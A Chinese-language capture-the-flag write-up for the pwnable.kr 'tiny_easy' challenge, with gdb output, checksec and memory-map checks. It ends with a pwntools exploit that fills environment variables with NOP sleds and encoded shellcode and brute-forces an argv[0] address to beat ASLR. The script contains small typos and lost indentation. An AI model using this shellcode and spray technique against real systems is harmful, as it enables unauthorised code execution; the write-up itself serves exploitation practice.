0x00 tiny_easy

这个文件用sftp传下来看了一下,文件很小只有4k,代码也很少,直接执行则会报错。

0x01 思路

直接入口点下断,看为何出现段错误。

[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x0
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffffd6e0 --> 0x1
EIP: 0x8048054 (pop eax)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804804e: add BYTE PTR [eax],al
0x8048050: add BYTE PTR [eax],dl
0x8048052: add BYTE PTR [eax],al
=> 0x8048054: pop eax
0x8048055: pop edx
0x8048056: mov edx,DWORD PTR [edx]
0x8048058: call edx
0x804805a: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd6e0 --> 0x1
0004| 0xffffd6e4 --> 0xffffd819 ("/home/user/pwn/pwnkr/tiny_easy/tiny_easy")
0008| 0xffffd6e8 --> 0x0
0012| 0xffffd6ec --> 0xffffd842 ("USER=user")
0016| 0xffffd6f0 --> 0xffffd84c ("LOGNAME=user")
0020| 0xffffd6f4 --> 0xffffd859 ("HOME=/home/user")
0024| 0xffffd6f8 --> 0xffffd869 ("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games")
0028| 0xffffd6fc --> 0xffffd8c7 ("MAIL=/var/mail/user")
[------------------------------------------------------------------------------]

可以看出代码很简单,EDX/home/user/pwn/pwnkr/tiny_easy/tiny_easy,然后mov edx,DWORD PTR [edx]EDX的内容重新赋值给EDX。最后call edx完成调用。

其实说白了就是只要能控制argv[0]就可以控制EIP,因为环境变量也放在栈上,所以我们可以将shellcode放在栈上。但是现在有两个难点:

  1. 是否有DEP(是否可以执行shellcode)
  2. 是否有ASLR(如何将EIP指向shellcode)
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled

悲剧的是,既有ASLR也有DEP。但是突然发现这个DEP确没啥效果,栈上还是有执行权限的。

gdb-peda$ getpid
2844
gdb-peda$ shell
------------------------------------------------------------
~/pwn/pwnkr/tiny_easy ? cat /proc/2844/maps
08048000-08049000 r-xp 00000000 08:01 2493481 /home/user/pwn/pwnkr/tiny_easy/tiny_easy
f7ffa000-f7ffc000 r--p 00000000 00:00 0 [vvar]
f7ffc000-f7ffe000 r-xp 00000000 00:00 0 [vdso]
fffdd000-ffffe000 rwxp 00000000 00:00 0 [stack]

所以现在首要目标就是突破ASLR,能使得EIP可以指向我们的shellcode。

0x02 Solution

突破ASLR,想到了之前的堆喷射(Heap Spray),用大量的滑行区来填充shellcode的前部。只要EIP能落在滑行区就可以执行shellcode。只要部署大量的带有滑行区的shellcode,多次尝试,肯定会有EIP落入滑行区的时候,所以最终的Eploit如下:

fromm pwn import *
shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80"
shellcode += "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
shellcode += "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
shellcode += "\x32\xc1\x51\x69\x30\x30\x74\x69"
shellcode += "\x69\x30\x63\x6a\x6f\x8a\xe4\x51"
shellcode += "\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"
payload = "\x90" * 8000 + shellcode
#p64(0xff9c3844)
env = {}
for i in range(1,0x100):
env[str(i)] = payload
while True:
io = process([p32(0xff9c3844)],executable="/home/user/pwn/pwnkr/tiny_easy/tiny_easy", env=env)
io.interactive()